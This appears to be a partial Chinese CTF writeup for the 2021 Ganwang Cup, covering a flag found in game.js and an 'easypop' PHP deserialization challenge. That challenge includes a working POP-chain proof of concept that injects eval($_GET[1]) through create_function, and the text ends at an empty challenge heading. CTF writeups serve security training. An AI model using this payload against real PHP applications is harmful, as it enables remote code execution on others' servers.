2021年赣网杯部分writeup

最新推荐文章于 2022-10-09 11:52:18 发布

原创最新推荐文章于 2022-10-09 11:52:18 发布 · 497 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#webview #android #java

本文介绍了网络安全中的代码漏洞挖掘技术，包括PHP反序列化、JavaScript游戏逻辑漏洞利用、图片隐藏信息提取以及加密解码过程。通过线性回归方程解析坐标获取flag，并涉及Python pyc文件逆向工程和图片中二维码的解码。此外，还涵盖了弱口令攻击、文件上传漏洞和CMS系统的安全性。

checkin

连连看

查看源码，存在多个js文件

在game.js中获取flag{134791e2-d93c-4d01-a71f-dcbe82d7fe08}

easypop

unserialize($this->key)(); 关键点在这

当[new BBB,”test”]()

会调用BBB的test方法

然后$a('', $this->code);

经典create_function 的格式

poc

<?php
class func
{
       public $mod1;
       public $mod2;
       public $key;
}
 
class GetFlag
{       public $code;
        public $action;
       public function get_flag(){
           $a=$this->action;
           $a('', $this->code);
       }
}
$o = new func();
$o1 = new GetFlag();
$o1->code ="1;}eval(\$_GET[1]);/*";
$o1->action = 'create_function';
$o->key = serialize(array($o1,"get_flag"));
echo(urlencode(serialize($o)));

挖洞大师

国际cms v1.1